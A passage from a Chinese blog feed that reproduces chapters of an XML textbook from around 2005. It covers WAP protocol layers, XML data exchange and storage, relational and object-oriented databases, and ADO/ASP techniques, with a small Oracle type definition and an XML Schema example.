<P align=left><STRONG>WDP层</STRONG><BR>WDP（Wireless Datagram Protocol，无线数据报文协议）是WAP的传输协议。作为一种通用的传输服务，WDP为其上的其他WAP协议提供统一的服务，并向其下的各种承载器（Bearer）进行透明的通讯。正是因为这种透明性，WDP之上的安全、会话和应用层可以与WAP结构中最下层的各种无线网络互相独立。</P>
<LI>
<P align=left><STRONG>承载器（Bearer）层</STRONG><BR>各种承载器所能够提供的服务是不一样的，根据数字终端的接受/发送能力，误码率，和延迟时间的不同，承载器所能够提供的服务质量也会不一样。WAP协议可以容忍这些差异，或者可以对这些差异进行补偿，从而达到对上层协议透明。</P>
<LI>
<P align=left><STRONG>其他服务和应用</STRONG><BR>通过WAP定义的一系列接口，外部服务或程序可以访问WAP协议堆栈的各个层面。 </P></LI></OL>
<P align=left>总之，WAP创造了一种商业机会，它使得现有的业务或新的业务可以每时每刻被用户访问，它可以发掘出各种崭新的、甚至目前无法想像的增值业务，这为电信业务运营商提供了创造丰厚利润的宝贵商业机会。 </P>
<P>WAP最有潜力的应用是与电子商务结合，实现移动中的电子商务。例如随时参与证券交易，使用移动网络银行业务，在移动中实现网上购物。现在您随身可能携带钱包、电话本、信用卡、手机等，在将来，可能您只需携带一部具有WAP功能的移动电话，就可以完成打电话、付账、买车票、管理个人工作安排等一系列事情。</P>
<P>但是，行业内部也有不同的声音。以通信市场调查咨询而闻名的美国Ovum公司在其2000年5月23日发表的报告“WAP市场策略”（WAP Market Strategies）中警告：“采用WAP技术的第一代手机已投放市场，但这种技术未必就是最好的。想抢搭WAP头班车的笠当匦肭宄厝鲜兜絎AP不是唯一可以利用的、最好的技术。”Ovum公司提醒那些参与移动因特网服务的企业在制定战略时，需要考虑到WAP以外的技术，诸如以XML为基础的技术等。 </P></DIV>
<P></P>
<DIV class=pt10><B>10.6 XML的发展前景</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>XML自推出以来，尤其是在1998年2月成为W3C推荐标准以来，受到了广泛的支持。各大软件厂商如IBM、Microsoft、Oracle、Sun等都积极支持并参与XML的研究和产品化工作，先后推出了支持XML的产品或者将改造原有的产品以支持XML，W3C也一直致力于完善XML的整个理论体系。</P>
<P>XML虽然获得了极大的支持，但是它还有很长的路要走。首先，XML的规则只是迈出了第一步，还有许多技术细节没有解决。其次，现在虽然出现了一些XML工具和应用，但是其市场反应还有待进一步观察。另外如何让更多的人迅速学会使用XML，并利用它进行开发，进而促进XML的应用也是一个问题。因此XML的出现和迅猛发展并不意味着HTML即将退出互联网舞台，由于HTML的易学易用和非常多的工具支持，HTML将在较长的时间里继续在Web舞台上充当主角。但是如果用户想超越HTML的范围，XML将是最佳的选择。</P>
<P>另外，由于XML是用于定义语言的元语言，任何个人、公司和组织都可以利用它来定义自己的置标语言（通过DTD或schema表示），这虽然是XML的魅力和灵活性之所在，但同时也是XML的最大问题之所在。如果每个人、公司和组织都定义了自己的置标语言，它们之间的通信就会出现困难。因此在一些领域先后出现了一些标准化组织，它们的任务就是规范本领域的置标语言，形成统一的标准，使得在本领域内的通讯成为可能。但在标准推出并得到广泛认可之前，各自为政的局面将继续下去。更糟糕的是，由于对应用的理解不一致和商业利益等原因，同一个领域也许还有多个标准化组织，它们形成的置标语言并不完全兼容，使得采取不同标准的计算机仍然难以通信。</P>
<P>无论如何，XML的出现使互联网跨入了一个新的阶段，它将成为因特网领域中一个重要的开发平台。XML的诞生已经而且将继续促使全新种类的应用程序的产生，而这些新的应用程序又将需要新的软件和硬件工具。可以预测，无论是在软件还是硬件上，XML都将开辟一系列的新市场，促成互联网上新的革命。<BR><BR></P></DIV>
<P></P>
<P></P>]]></description>
</item><item>
<title><![CDATA[XML(46)数据交换]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10859</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 13:05:46</pubDate>
<description><![CDATA[
<DIV class=pt10><B>9.1.1 XML数据交换机制</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>XML可以分为三层结构，数据表现层，数据组织层和数据交换层。在我们对表现层和数据组织层有了一个比较全面比较深入的了解后，最后再来看看XML的最底层——数据交换层。</P>
<P>我们知道，从整体上讲，XML定义的实际上是应用间传递数据的结构，而且这种结构的描述不是基于二进制的、只能由程序去判读的代码，而是一种简单的、能够用通用编辑器读取的文本。利用这种机制，程序员可以制订底层数据交换的规范，然后在此基础上开发整个系统的各个模块，而各模块之间传输的数据将是符合既定规则的数据。另外，XML还允许为特定的应用制定特殊的数据格式，并且非常适合于在服务器与服务器之间传送结构化数据。</P>
<P>从应用的角度来看，XML信息交换大致可分为下面几种类型：数据发布、数据集成和交易自动化。 
<OL>
<LI><STRONG>数据发布</STRONG> </LI></OL>
<P>当今时代可以说是信息爆炸的时代，而互联网的出现又起到了推波助澜的作用，人们对信息的获取不再局限于读书看报，“到网上去冲浪”业已成为网迷们的口头语，并逐渐为越来越多的人所接受。在这种新生的环境下，业内人士不失时机地提出了“同一数据，多次出版”的解决方案。这种方式使我们只须制作和管理同一信息资源，就能够达到多种媒介出版和多种方式发布的目的。</P>
<P>先来看一下传统的信息发布方式--基于纸介质和CD-ROM的信息发布。虽然CD-ROM与纸张属于不同的介质，但是由于他们采用的数据格式基本一致，因此将他们归为一类。</P>
<P>早期制订的媒介无关的描述结构化信息的国际标准当属SGML-ISO 8879 1996，但是XML的出现，使得跨媒体数据发布技术又向前发展了一步。2000年5月18日，一个由数字印刷领域的知名厂家组成的所谓“按需印刷”组织（PODi）发布了“个性化印刷置标语言”（Personalized Print Markup Language, PPML）规范。这是一种基于XML的技术规范，主要用于带有可再利用内容文档的快速印刷。可以说，有了XML，跨媒体、多介质的数据发布显得更是顺水推舟。</P>
<P>最值得一提的是基于Web的网上发布。HTML作为Internet上Web网页描述语言已经为大家所熟知，而同HTML一脉相传的XML当然也可以在网上发布，当然需要配合样式信息（如CSS或XSL），因为正如你所知，XML只是定义文档内容而不涉及具体表现。另外，一种更为直接的Web发布语言也已诞生，那就是XHTML。XHTML是一种基于XML的超文本置标语言，也就是说，将以前用SGML定义的HTML改为用XML重新定义。现在，XHTML已经作为W3C的建议标准公布于众，相信在不久的将来会大有作为的。 
<OL start=2>
<LI><STRONG>数据集成</STRONG> </LI></OL>
<P>如果说数据发布涉及到的是服务器-浏览器形式的数据交换，那么，数据集成则是一种服务器-服务器之间的数据交换。</P>
<P>现实世界中，一个企业需要涉及各种应用，小到上下班打卡系统，大到人事管理系统、财务核算系统、库存管理系统等等。一般情况下，各个系统可能是由不同的软件公司开发的，软件可能采用不同的技术、运行于不同的平台。但是企业的运作是一个整体，需要各个系统相互配合，于是应用系统间的数据交换接口就成为困扰信息主管的一大难题。于是，可能会出现这样的尴尬局面：月初，上下班打卡系统管理员将上月的员工考勤数据打包传送给人事部门（或用软盘或由网络发送），财务部门也将员工所在部门的销售业绩统计打包传送给人事部门，而后，人事干事运行一个批处理程序合并考勤数据和业绩统计，最后计算出员工工资。类似的情况几乎可以说比比皆是，但这是现实。企业缺乏一个顺畅的业务管理平台，不能将各部门的信息有机的集成在一起，势必造成管理上的混乱。</P>
<P>XML是解决这一问题的强大法宝。让我们再来分析一下这个假想的示例，其实，造成这种混乱局面的原因说到底，就是各个系统没有统一的数据结构约定。其后果不但是效率低下，而且信息冗余、重复开发也会造成资源的巨大浪费。在这种情况下，XML将起到粘合剂的作用，通过它，使得各业务模块有机结合，数据交换畅通无阻，从整体达到理顺业务操作的目的。</P>
<P>同所有软件开发规范一样，实现数据集成也必须分步骤、有条理地进行： 
<UL>
<LI>首先，要对整个业务进行调整，摈弃不合理部分。也许你会说：是不是跑题了，这同XML有什么关系？表面上看，似乎风马牛不相及，其实不然，基于XML的数据集成不仅仅是要进行系统开发，对旧有系统的合理改造也是很重要的。 
<LI>然后，对业务模式归纳总结并从中抽象出数据交换模型，当然是基于XML的数据交换模型，也就是说制定数据交换的DTD或Schema。这是最基本的，但同时也是最为困难的一步。XML消息流要符合企业的信息流。不要将XML看作是用来代替对象或者开发软件的新方法，它应该是一种表达层次结构信息并且在不同的应用系统间传输这种信息的有效途径。在制定XML数据交换模型中，一个易犯的错误是直接照搬原来的数据格式而仅仅将其逐字逐句地"翻译"成XML，毕竟这是一个改造旧系统的"工程"，去粗存精方是上策。 
<LI>最后一步，结合制定好的XML数据交换模型，运用XML DOM和SAX等技术编写应用程序，也可直接在原系统上进行改造。也许这是一件比较棘手的工作，毕竟任何新生事物和新技术的出现都会打破一些人的陈旧观念，但是好在学习XML及其应用开发技术并不是一件非常难的事情。 </LI></UL>
<P>前面我们讲的是关于企业内部的XML数据集成，其实不同企业间的数据交换也是XML的用武之地。电子商务交易平台之间的XML B2B信息交换就是很好的例证。同企业内部的数据集成不同，企业间的XML数据集成需要由一个开放的、需要交易各方共同遵守的“法规”——基于XML的数据交换标准。目前全球电子商务的发展非常迅速，各种行业甚至跨行业的XML电子商务规范与框架层出不穷，其中比较有代表性的是：Ariba的cXML、IBM的tpaML 、CommerceOne的xCBL 2.0 、Microsoft的BizTalk框架、CommerceNet的eCo计划、RosettaNet的eConcert计划与PIP规范集以及联合国UN/CEFACT小组和OASIS发起的ebXML计划。XML技术的融入，使得企业间的交易不再局限于专网和特定的应用，而是可以在Internet上的不同系统间交换信息，不仅大大降低了成本，而且提高了数据的可持续性，从而保护了既有投资。 
<OL>
<LI type=disc value=3><STRONG>交易自动化</STRONG> </LI></OL>
<P>XML也有助于提高应用的自动化程度。遵循共同的标准，使得应用程序开发商开发出具有一定自动处理能力的代理程序，从而提高工作效率。一个典型的应用是，开发这样一个智能代理程序：首先，该程序向某电子商务交易系统发出一个供货商资料查询请求，在得到应答后，自动连接答复中提供的所有供货商站点；然后，搜索预定商品的信息，并对获取到的不同商家针对该商品的价格、质量、服务等信息按一定的商业规则进行比较；最后，得出理想的结果，并自动向该站点下订单。下图即示出了这种自动交易的过程：</P>
<P align=center><IMG height=207 alt="TU000000-0901-0100-01.gif (10753 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX26.2953/www.17t8.com/xmlbook/image/TU000000-0901-0100-01.gif" width=300></P>
<P><BR></P></DIV>
<P></P>
<DIV class=pt10><B>9.1.2 XML数据存取机制</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>作为一种数据存储与交换的模式，长期以来文件系统占据了信息领域的大片江山，至今仍广泛采用。但是我们同时也会看到另一面。当今世界，技术发展迅猛，信息量也随之激增。的确，很难想象，面对成千上万的数据文件，如果仅仅通过文件系统来管理的话，那么无论是文件的搜索还是文件的调用，诸如此类的管理工作都将是不可能的。</P>
<P>现在，不论是什么行业，大多数关键数据都是放置于数据库中进行管理的，一来目前数据库技术已经相当成熟，二来其管理功能非常强大。以往的数据库应用，基本上都是基于C/S模式，数据底层结构一般来说都是相对固定，也就是说，开发出来的应用程序是针对具体的数据结构，其应用范畴受到一定限制，开放性较差。而XML作为一种可扩展性置标语言，其自描述性使其非常适用于不同应用间的数据交换，而且这种交换是不以预先规定一组数据结构定义为前提，因此具备很强的开放性，具有广阔的应用前景。为了使基于XML的业务数据交换成为可能，就必须实现数据库的XML数据存取，并且将XML数据同应用程序集成，进而使之同现有的业务规则相结合。</P>
<P>XML数据源多种多样，根据具体的应用，大概可分为下面三种：一种是XML纯文本文档，第二种是关系型数据库，第三种则来源于其他各种应用数据，如邮件、目录清单、商务报告等。其中，第一种来源，即XML纯文本文档是最基本的也是最为简单的，将数据存储于文件中，其最大的优点在于可以直接方便地读取，或者加以样式信息在浏览器中显示，或者通过DOM接口编程同其他应用相连。第二种数据来源是对第一种来源的扩展，其目的是便于开发各种动态应用，其优点则在于通过数据库系统对数据进行管理，然后再利用服务器端应用（如ASP、JSP、Servlet）等进行动态存取。这种方式最适合于当前最为流行的基于三层结构的应用开发。第三种数据由于来源广泛，因此需要具体情况具体对待。本小节的分析主要针对前两种数据来源进行分析。下图示意了XML的数据存取机制。</P>
<P align=center><IMG height=312 alt="TU000000-0901-0200-01.gif (4463 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX26.9640/www.17t8.com/xmlbook/image/TU000000-0901-0200-01.gif" width=390></P>
<P>对于XML文档，可以通过DOM（Document Object Model）读取XML文档中的节点，这是最基本也是最底层的XML存取技术。正如上一章所述，DOM是W3C的一种技术标准，实际上是提供一组API来存取XML数据，可以通过JavaScript、Jscript、VBScript等脚本程序来调用，也可通过C++、Java等高级语言来实现。</P>
<P>其次，通过DSO(Data Source Object)进行XML的数据绑定可以方便地将XML节点同HTML标记捆绑，从XML文档中读取或写入数据，就象访问Microsoft Access或Microsoft SQL Server一样。DSO的工作方式有几种，一种是同DOM类似通过对XML节点树进行遍历来搜索节点，每次仅将节点数据同HTML的一个元素（如SPAN元素）相联；第二种同第一种的不同之处在于将节点数据同一个HTML多值元素（如TR元素）相联。</P>
<P>样式单CSS和XSL实际上通过给XML数据赋予一定的样式信息以使得其能够在浏览器中显示。CSS技术早在HTML3.2中就得以实现，其关键是将HTML中的元素同预先定义好的一组样式类相关联以达到样式化的目的，而XML同样也支持这种技术。XSL同CSS有些类似，不同之处在于它是通过定义一组样式模板将XML源节点转换成HTML文档或其他XML文档。XSL实际上也是符合XML规范的，它提供了一套完整的类似控制语言的元素和属性，最终可完成丰富多采的样式描述。</P>
<P>利用ASP在页面文档中嵌入ADO对象从数据库中提取XML数据是Microsoft对其ASP技术的一种扩展，功能非常强大。ADO取得数据后，可以调用DOM提供的API来动态生成XML文档，并进而同其他应用交换数据，或者直接在浏览器中显示。</P>
<P>最后，HTTP+SQL是Microsoft新近提出的XML数据库解决方案的核心，其基本原理是通过基于HTTP协议的URL方式直接访问SQL SERVER数据库，并返回以XML或HTML数据格式的文档。</P>
<P>前一节我们提到的XML信息交换类型，从某种意义上讲，都和数据库息息相关。先来看一下数据发布。如果有适当的浏览器（如Microsoft IE5.0），XML可以直接显示。但是现实情况是，大量的信息不可能都以XML文件的形式存在。在实际应用中，需要从数据库中提取信息，动态生成XML页面，然后加以样式化并发送到客户端浏览器。至于数据集成，同样也离不开数据库。企业间交换的B2B数据往往来自于数据库，比如产品目录、订单信息、用户资料等等。B2B应用在接收到XML数据后也可将其保存至数据库。最后，自动交易系统在得到不同供货商提供的商品价格、质量、服务等信息后，也可将其存入数据库，以便作为决策系统的数据来源。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>9.2.1 XML与关系数据库</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>上一节我们讲到了XML的数据存取机制，从一个较高的层面上分析了数据存取的多种方式。作为其中的一种，数据库数据存取机制似乎倍受青睐，但我们并未对此作比较深入的探讨，这一节里让我们对XML与数据库的关系进行一些详细的分析。</P>
<P>我们知道，数据库提供了对于大批量数据的有效存储管理和快速信息检索、查询的功能。从体系结构上看，数据库技术的发展历经了网络型数据库、层次型数据库、关系数据库、面向对象数据库。虽然面向对象数据库融入了面向对象技术，但是到目前为止，在各个领域使用最广的还是关系数据库。关系数据库管理系统（RDBMS）采用二维表格作为存储数据的模型，如下图所示，表格由行和列组成，一般情况下，列被称作"字段"用于表示组成数据有效信息的属性，而行则用于指示一条完整的数据记录。由于数据间的相关性可以通过表与表之间关键字（外键）来关联，由此产生了"关系"类型数据库的由来。</P>
<P align=center><IMG height=159 alt="TU000000-0902-0100-01.gif (1151 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX27.4453/www.17t8.com/xmlbook/image/TU000000-0902-0100-01.gif" width=275></P>
<P align=left>关系数据库有自己的查询语言——结构化查询语言（Structured Query Language, SQL）。SQL最初由IBM提出，后经不断发展，已于1986年成为业界标准并被广泛采用。SQL 是非过程性的。当SQL语句传送到数据库服务器后，服务器返回满足条件的结果或结果集（视具体查询项目而定）。一般情况下，大多数支持SQL的服务器系统均采用客户/服务器架构，现在又发展到更为先进的分布式处理架构。这样一来，SQL服务器既可以接收客户应用程序发送的查询请求，也可以接收其他服务器的查询请求，这些服务器可能是其他SQL服务器，也可以是XML服务器。</P>
<P align=left>与XML文件不同，数据库将不再扮演简单的数据容器。数据库可以相当灵活，因为可以存储在数据库中的不仅仅是单调而枯燥的数据，还有适合于应用需要的规则和模式。针对XML数据，一般有两种存储方式：一是将其按结构层次拆分开来分别存于不同字段，二是将XML文档原封不动地存入数据库。实际应用中，后者的应用环境将受到一定限制，因为关系数据库不能很好地处理大容量的结构化的信息和文本数据。当然，也可以将结构化置标文本分解成尽可能小的部分，然后转换成数据库中的字段来存贮，但是这样在数据库的检索、索引方面会增加许多额外的工作。至于前一种方式，因为关系型数据库并不能很好地支持层次、顺序、包含等在结构化置标语言中十分本质的关系，所以在开发中也仍有很多问题要解决。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>9.2.2 XML与面向对象数据库</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P align=left>面向对象数据库源于计算机编程语言中的面向对象技术。同以往的结构化编程语言相比，面向对象技术提供了一种同现实世界更加贴切的表达方式，它利用封装技术将属性和方法集成于对象之中，并且借助继承和派生的概念将对象及其子对象紧紧联系在一起。面向对象技术体现了人类对生存于其中的世界的认知过程，而同数据库技术的结合，则又是一种在计算机应用领域的进步。面向对象数据库管理系统（OODBMS）使得文本、图像、视频和空间数据可以存储在数据库中，不过与关系数据库不同：在关系数据库中，数据仅仅是数据，它不包含层次结构信息；而面向对象数据库可以将数据视为对象，数据是作为一个整体，包含了属性和方法，并能体现数据间的继承关系。下图示出了面向对象数据库管理系统概念。</P>
<P align=center><IMG height=203 alt="TU000000-0902-0200-01.gif (1352 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX27.2203/www.17t8.com/xmlbook/image/TU000000-0902-0200-01.gif" width=199></P>
<P align=left>从理论上看，相比关系数据库而言，面向对象数据库具有技术新、效率高的优点。为此，曾经有人大胆预言，面向对象数据库体系结构将迅速取代传统的关系数据库体系结构。但是，事实证明，这一预言是错误的，真正的面向对象数据库系统还有很长的路要走。这其中的原因是多方面的，比如面向对象技术较为复杂、面向对象数据库技术的工业化成熟程度不够高等等。作为一种折衷，利用现有的优势、改造关系数据库并融入面向对象技术，即所谓的对象-关系数据库，则不失为上策。如今，IBM、Oracle、Informix等知名厂商已经宣称其数据库产品支持面向对象技术。</P>
<P align=left>但是，XML的出现给面向对象数据库注入了新的生机和动力。前面我们提到，当XML同关系数据库相结合时，一般需要将XML文档按元素层次结构拆分后依次存入数据库中的相应字段。显然，这样一来，XML文档的整体性将受到破坏，除非有一个预先设定的小程序对数据库中数据进行整合，否则XML数据将变成一团糟。（当然，如果将数据库字段作为元素的属性看待，也许这种做法倒是可行的。可聪明的读者一眼就能看出，这种假设的前提是，该XML文档将只能表达简单的结构，再复杂一点就不行了。实际上，这种情况简直是难以想象的，因为现实世界是纷繁复杂的。）而面向对象数据库就不同了，因为此时，XML将不再被拆分而是被描述成一个对象存入数据库，其优点显而易见，XML数据的结构和语义信息可以完整地保留下来。XML及其在各个领域的应用前景使得面向对象数据库重新受到广泛重视，一些针对XML的面向对象数据库纷纷推出，例如：Xhive和XML Repository就是很好的例子。著名的Object Design公司也调整策略，将其面向对象数据库产品ObjectStore融入XML Server体系之中。值得一提的是，他们还将公司更名为eXcelon，以便更好地体现该公司的战略部署。</P></DIV>
<P></P>
<DIV class=pt10><B>9.2.3 基于XML数据库的模型分析</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>前面讨论了关系数据库、面向对象数据库以及它们所提供的对XML的支持，那么，究竟什么样的数据库才能称得上是XML数据库呢？我们认为，一个基于XML的数据库系统应该具备以下特征： 
<OL>
<LI>能够根据文档类型定义(DTD或Schema)确定数据库的模式。也就是说，能够按照DTD或Schema来定义数据库，而无须再进行数据库的设计，能够按照DTD或Schema的层次结构来进行基于XML语法的定位和查询。通过元素名字和属性来查询和定位元素。 
<LI>支持DOM和SAX，可以进行事件驱动的XML处理。 
<LI>内置数据处理语言模块（XML语法分析器），能够进行XML文档数据的语法分析，同时对数据库中的元素进行直接的定位操作。 
<LI>提供标准的XML查询语言。通过套用一定的样式模式，输出多种格式的XML文档。 
<LI>能够处理大型数据集合，能够对置标文本的结构和内容进行索引。 
<LI>提供开发工具包，支持DOM、SAX、Java、Script语言等。 
<LI>提供一定的机制保证数据的一致性。如通过行级或页级共享锁、排他锁对数据加锁，满足用户对数据进行并发读写时数据的有效性。 
<LI>支持OLAP和数据仓库等高级应用。 </LI></OL>
<P>根据上面提到的特征，一个标准的XML数据库管理系统应由下列几个模块组成： 
<OL>
<LI><STRONG>数据编辑模块--XML编辑器</STRONG> </LI></OL>
<P>能够以图形化、交互式界面方式对XML文件实例进行编辑，方便用户对XML文件的编辑、修改等操作。另外，该编辑器还应提供同后端数据库的接口，使得用户能够方便地从数据库中调出已有的资料进行利用。编辑器应该有良好的用户交互界面，多文档编辑，能够支持通用的文件类型，支持CSS和XSL，能够按照样式文件进行结构化文档的显示，查看源文件、DTD、Schema，能够进行结构导航。EditML技术公司开发的一种开放软件EditML就是很好的例子。 
<OL start=2>
<LI><STRONG>语法分析模块--XML Parser</STRONG> </LI></OL>
<P>能够对XML文本进行语法分析，能够进行元素的定位和查询。语法分析模块负责对DTD文件、XML文件的语法分析，能对错误进行定位并提出建设性的改进意见；语法分析模块还负责生成XML文件的结构树，并能从结构树到文件实例的映射；负责按照文件类型定义生成数据库的模式，包括数据库字段的定义、可能的数据类型、存储量的估计等等。 
<OL>
<LI type=disc value=3><STRONG>数据库的管理模块--DB Manager</STRONG> </LI></OL>
<P>提供图形化的数据库管理功能，包括对XML文本资料的存贮、索引、检索等功能，提供数据的备份、复制等功能；能够对不同的文件类型定义的置标文本进行分类存贮。其他的管理功能包括多用户并发共享数据库的加锁机制等等。 
<OL start=4>
<LI><STRONG>索引和检索模块</STRONG> </LI></OL>
<P>一个基于数据库的搜索引擎，它应该能够理解结构化置标树结构，提供全文索引和区域索引，对元素和属性进行索引，对结构和内容进行索引，能够按照元素和属性定位并检索元素。 
<OL start=5>
<LI><STRONG>数据库接口模块</STRONG> </LI></OL>
<P>提供数据库系统的应用程序接口模块(API)，包括数据库本身的编程接口以及XML数据库的标准查询接口。这是对一个开放型系统的最低要求。<BR><BR></P></DIV>
<P></P>
<DIV class=pt10><B>9.2.4 XML在数据库中的应用模式</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>通常，XML在数据库中的应用模型需要借助三层架构来实现。在这种模式下，一般会有一个代理程序运行于中间层，通过它来访问数据库管理系统中的数据和输出XML文档。想必大家都对建筑工地上运载材料的吊车不太陌生吧？通过吊车，工人们就可以将地面的建筑材料运上高高的建筑操作平台；同时，也可以将平台上的废料送至地面，大大提高了劳动效率。代理程序也起着同样的作用，实际上，它是一种在客户端桌面应用层与底层数据层之间传递数据的工具。利用CSS或XSL技术，XML可以实现基于Web浏览器的多样式可视化显示。另外，这种代理程序还可以进行双向的基于事件的数据更新，也就是说，客户端的数据变化（如数据的插入、删除、修改等）可以通过代理程序反映到底层数据库，而数据库的更新也能够通知到客户端。表面上看，这种机制同传统的三层架构没有什么区别，但实际上是不同的，因为此时在传输过程中的数据都是已经XML化了的。 </P>
<P>微软在其Windows分布式Internet应用（即Windows DNA）架构中集成了XML技术。通过中间层的代理程序，可获取的数据来源可以不必局限于某台固定的数据库服务器，而可以是分布于企业内，甚至于遍及全球各地的数据库服务器。另外，借助于XML Schema，开发者就能更为精确地描述和交换数据，因而大大地提高这种应用的效率。</P>
<P>XML提供了一种连接关系数据库和面向对象数据库以及其他数据库管理系统之间的纽带，如下图所示。XML文档本身是一种由若干节点组成的结构，这种特点使得数据更适宜于用面向对象格式来存储，同时也有利于面向对象语言（C++、Java等）调用XML编程接口访问XML节点。关系数据库和面向对象数据库首先需要将数据从数据库中提取出来，经过转换为或直接以XML数据形式发布到网上（局域网或Internet网），然后相互交换数据，经应用层系统处理后再转存入库。</P>
<P align=center><IMG height=221 alt="TU000000-0902-0300-01.gif (2669 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX27.5578/www.17t8.com/xmlbook/image/TU000000-0902-0300-01.gif" width=380></P>
<P>开发一个访问数据库的XML应用系统需要同时借助XML编程接口和数据库编程接口，前者用于对XML文档的解析、定位和查询，所需技术包括DOM和SAX；后者则是用于访问数据库，如数据库中数据的更新和检索等等，需要利用的技术有ODBC、JDBC、ADO等。</P>
<P>另外，XML文档的模式（如DTD和Schema）以及数据库的模式对于开发此类应用也是必不可少的。由于它们均可自定义数据类型，因此可以通过信息的封装来简化程序的设计。对于数据库来讲，它可以利用CREATE TYPE命令来定义对象类型。下面的示例展示了如何在数据库中定义对象类型，本例以Oracle 8i为数据库平台。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">CREATE TYPE CLIENTLIST AS OBJECT<BR>(<BR>&nbsp; Name VARCHAR2(10),<BR>&nbsp; ID int,<BR>&nbsp; Company VARCHAR2(20),<BR>&nbsp; Email VARCHAR2(20)<BR>)</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>下面再给出XML Schema的相应描述。</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version="1.0" encoding="GB2312" ?&gt; 
<P>&lt;Schema xmlns="urn:schemas-microsoft-com:xml-data" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlns:dt="urn:schemas-microsoft-com:datatypes"&gt;<BR>&nbsp; &lt;ElementType name= "姓名"/&gt;<BR>&nbsp; &lt;ElementType name= "ID"/&gt;<BR>&nbsp; &lt;ElementType name= "公司"/&gt; <BR>&nbsp; &lt;ElementType name= "EMAIL"/&gt;<BR>&nbsp; &lt;ElementType name= "联系人" content="eltOnly"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;element type= "姓名" /&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;element type= "ID" /&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;element type= "公司" /&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;element type= "EMAIL" /&gt;<BR>&nbsp; &lt;/ElementType&gt;<BR>&nbsp; &lt;ElementType name= "联系人列表" content="eltOnly" order="many"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;element type= "联系人" /&gt;<BR>&nbsp; &lt;/ElementType&gt;<BR>&lt;/Schema&gt;</P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P>由以上例子可以看出，“联系人”对象中包含了“姓名”、“ID”、“公司”、“EMAIL”四个元素。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>9.3.1 ADO控件技术</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>到目前为止，已有大量关于XML的数据交换技术和应用面世。其中，有的只是在现有技术的基础上扩展XML支持，有的属于XML中间件产品，还有的是比较完整的XML应用。它们大多数都提供了对数据库的支持，这恰恰从一个侧面反映出XML与数据库的密切关系以及基于XML数据库应用的潜力。不同的编程语言和脚本语言需要不同的SQL API和XML语法分析器组合。例如，对于一个C++程序员来说，编写一套访问数据库的XML应用程序可能需要利用ODBC和C++ XML语法分析器；而对于一个Java程序员来说，可能只需要JDBC和Java XML语法分析器就够了；更为特殊地，如果你对微软的Visual Basic和VBScript脚本语言比较熟，那么很有可能你会用它们来开发XML应用，此时，你只要再学习一下ADO，然后借助微软的XML语法分析器进行编程（注：微软在其浏览器产品IE5.0中内置此语法分析器msxml.dll）。</P>
<P>下面我们就多花一些笔墨来对各种XML数据交换技术及其应用进行一些分析，其中还会有重点地给出一些典型示例。首先要讲解的是大名鼎鼎的ADO控件技术。</P>
<P>说到ADO就不得不先提一下ASP。ASP（Active Server Pages）是一种在服务器端解释执行的脚本技术，主要用于基于Web应用，如动态网页的Web浏览等等。它是由微软公司开发的，最早出现于IIS 3.0。ASP通过在HTML页面中嵌入脚本语句，并结合ActiveX控件技术（如ADO、CDONT等），从而建立页面丰富、动态、交互而且高效的WEB服务器应用程序。ASP支持的脚本语言有两种，即VBScript和Jscript，缺省为VBScript。ASP的工作原理是：当客户端浏览器访问Web服务器ASP文件时，服务器根据被访问文件的扩展名(.asp)识别出其类型从而启动该ASP解析器，首先服务器会遍历文件的全文，当遇到嵌入的服务器端脚本语句时就执行相应脚本（可以是启动计数或者查询数据库等等）并将返回结果按指定方式送回原处，脚本处理完毕后将生成的HTML页面文档返回至客户端，整个过程结束。</P>
<P>虽然ASP并不是专门为XML量身定做的，但由于XML的可扩展性以及ASP自身的结构特性，使其又可以同XML相结合，从而实现利用ASP技术进行XML数据交换。下面我们将用一个具体示例，演示如何利用ASP进行XML数据交换。在本例中，运用了ADO控件来访问关系数据库并输出XML文档，另外还采用了DOM和XSL技术，实现了XML对象的访问和XML文档输出的样式化。</P>
<P>我们仍用反复提及的一个例子——“客户联系信息”。这次我们是把数据放置于关系数据库中，然后运用ASP和ADO技术动态生成XML实例文档。假设我们事先已在Microsoft SQL Server数据库CLINETS中创建了一个数据表--clientList，其数据结构如下表所示：</P>
<DIV align=center>
<CENTER>
